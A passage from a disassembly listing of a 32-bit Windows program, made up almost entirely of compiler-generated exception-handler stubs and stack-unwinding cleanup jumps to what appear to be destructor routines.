add ecx, 84Eh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 897h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8E0h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 929h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 972h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9BBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A04h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A4Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A96h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0ADFh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B28h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B71h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B9Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BCDh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BFBh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C29h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C57h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C85h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CB3h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CE1h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D0Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D3Dh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D6Bh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D99h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DC7h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DF5h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E23h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E51h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E7Fh
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10C7h
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 130Fh
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1557h
jmp sub_40208B
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403720 proc near ; DATA XREF: sub_403720+2o
mov eax, offset dword_43F4C0
jmp sub_437AB8
SEH_403720 endp
; ---------------------------------------------------------------------------
db 0D6h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403C50 proc near ; DATA XREF: sub_403C50+2o
mov eax, offset dword_43F700
jmp sub_437AB8
SEH_403C50 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4392B8: ; DATA XREF: ___:0043F75Co
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403CE0 proc near ; DATA XREF: sub_403CE0+2o
mov eax, offset dword_43F730
jmp sub_437AB8
SEH_403CE0 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4392E8: ; DATA XREF: ___:0043F794o
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403D60 proc near ; DATA XREF: sub_403D60+2o
mov eax, offset dword_43F768
jmp sub_437AB8
SEH_403D60 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403DE0 proc near ; DATA XREF: sub_403DE0+2o
mov eax, offset dword_43F7A0
jmp sub_437AB8
SEH_403DE0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_439338: ; DATA XREF: ___:0043F7FCo
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AE6
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403E50 proc near ; DATA XREF: sub_403E50+2o
mov eax, offset dword_43F7D0
jmp sub_437AB8
SEH_403E50 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_4393B8: ; DATA XREF: ___:0043F85Co
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AE6
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403F30 proc near ; DATA XREF: sub_403F30+2o
mov eax, offset dword_43F830
jmp sub_437AB8
SEH_403F30 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404010 proc near ; DATA XREF: sub_404010+2o
mov eax, offset dword_43F890
jmp sub_437AB8
SEH_404010 endp
; ---------------------------------------------------------------------------
db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4394F8: ; DATA XREF: ___:0043F974o
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404690 proc near ; DATA XREF: sub_404690+2o
mov eax, offset dword_43F948
jmp sub_437AB8
SEH_404690 endp
; ---------------------------------------------------------------------------
db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43957B: ; DATA XREF: ___:0043F9FCo
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439586: ; DATA XREF: ___:0043FA04o
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-134h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E8h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404CC0 proc near ; DATA XREF: sub_404CC0+8o
mov eax, offset dword_43F9D0
jmp sub_437AB8
SEH_404CC0 endp
; ---------------------------------------------------------------------------
db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------
loc_439820: ; DATA XREF: ___:0043FBD4o
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-28h]
and eax, 1
test eax, eax
jz locret_43983E
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_43983E: ; CODE XREF: ___:00439830j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406730 proc near ; DATA XREF: sub_406730+2o
mov eax, offset dword_43FBA8
jmp sub_437AB8
SEH_406730 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
loc_439860: ; DATA XREF: ___:0043FC0Co
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-198h]
and eax, 1
test eax, eax
jz locret_439884
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_439884: ; CODE XREF: ___:00439876j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4068E0 proc near ; DATA XREF: sub_4068E0+2o
mov eax, offset dword_43FBE0
jmp sub_437AB8
SEH_4068E0 endp
; ---------------------------------------------------------------------------
db 11h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-454h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4398AB: ; DATA XREF: ___:0043FC44o
lea ecx, [ebp-43Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4398B6: ; DATA XREF: ___:0043FC4Co
lea ecx, [ebp-424h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406C80 proc near ; DATA XREF: sub_406C80+8o
mov eax, offset dword_43FC18
jmp sub_437AB8
SEH_406C80 endp
; ---------------------------------------------------------------------------
db 15h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407080 proc near ; DATA XREF: sub_407080+2o
mov eax, offset dword_43FC58
jmp sub_437AB8
SEH_407080 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4076B0 proc near ; DATA XREF: sub_4076B0+8o
mov eax, offset dword_43FC88
jmp sub_437AB8
SEH_4076B0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439928: ; DATA XREF: ___:0043FCE4o
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407740 proc near ; DATA XREF: sub_407740+8o
mov eax, offset dword_43FCB8
jmp sub_437AB8
SEH_407740 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-2C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43994B: ; DATA XREF: ___:0043FD1Co
lea ecx, [ebp-2DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-174h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-204h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-294h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-234h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-264h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-15Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-114h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-144h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-27Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-330h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-318h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-34Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-12Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2F8h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-300h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4077E0 proc near ; DATA XREF: sub_4077E0+2o
mov eax, offset dword_43FCF0
jmp sub_437AB8
SEH_4077E0 endp
; ---------------------------------------------------------------------------
db 0CFh dup(0CCh)
dd 90C84D8Dh, 0C5574CE9h
db 75h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_409660 proc near ; DATA XREF: sub_409660+2o
mov eax, offset dword_4400A0
jmp sub_437AB8
SEH_409660 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A370 proc near ; DATA XREF: sub_40A370+2o
mov eax, offset dword_4400D0
jmp sub_437AB8
SEH_40A370 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-38h]
and eax, 1
test eax, eax
jz locret_439D86
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_439D86: ; CODE XREF: ___:00439D78j
retn
; ---------------------------------------------------------------------------
loc_439D87: ; DATA XREF: ___:0044012Co
lea ecx, [ebp-34h]
jmp sub_401596
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A510 proc near ; DATA XREF: sub_40A510+2o
mov eax, offset dword_440100
jmp sub_437AB8
SEH_40A510 endp
; ---------------------------------------------------------------------------
align 10h
dd 0E9C84D8Dh, 75C556CDh
db 80h
; ---------------------------------------------------------------------------
loc_439DB9: ; DATA XREF: ___:0040AA32o
mov eax, offset byte_440140
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40AEF0 proc near ; DATA XREF: sub_40AEF0+5o
mov eax, offset dword_440170
jmp sub_437AB8
SEH_40AEF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B070 proc near ; DATA XREF: sub_40B070+5o
mov eax, offset dword_4401D0
jmp sub_437AB8
SEH_40B070 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_439DFB: ; DATA XREF: ___:0044025Co
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_40155F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B190 proc near ; DATA XREF: sub_40B190+2o
mov eax, offset dword_440230
jmp sub_437AB8
SEH_40B190 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_439E4B: ; DATA XREF: ___:004402A4o
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_40155F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B250 proc near ; DATA XREF: sub_40B250+2o
mov eax, offset dword_440278
jmp sub_437AB8
SEH_40B250 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B2F0 proc near ; DATA XREF: sub_40B2F0+2o
mov eax, offset dword_4402C0
jmp sub_437AB8
SEH_40B2F0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439EC8: ; DATA XREF: ___:0044032Co
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B510 proc near ; DATA XREF: sub_40B510+2o
mov eax, offset dword_440300
jmp sub_437AB8
SEH_40B510 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439EF8: ; DATA XREF: ___:0040B6D2o
mov eax, offset dword_440340
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439F30: ; DATA XREF: ___:0040B9B8o
mov eax, offset dword_440370
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40C440 proc near ; DATA XREF: sub_40C440+2o
mov eax, offset dword_4403B8
jmp sub_437AB8
SEH_40C440 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-0A78h]
jmp loc_401B13
; ---------------------------------------------------------------------------
loc_439F7B: ; DATA XREF: ___:00440414o
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439F86: ; DATA XREF: ___:0044041Co
lea ecx, [ebp-0A54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40C4E0 proc near ; DATA XREF: sub_40C4E0+8o
mov eax, offset dword_4403E8
jmp sub_437AB8
SEH_40C4E0 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CBF0 proc near ; DATA XREF: sub_40CBF0+2o
mov eax, offset dword_440430
jmp sub_437AB8
SEH_40CBF0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-260h]
jmp loc_40228E
; ---------------------------------------------------------------------------
loc_439FEB: ; DATA XREF: ___:0044048Co
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439FF6: ; DATA XREF: ___:00440494o
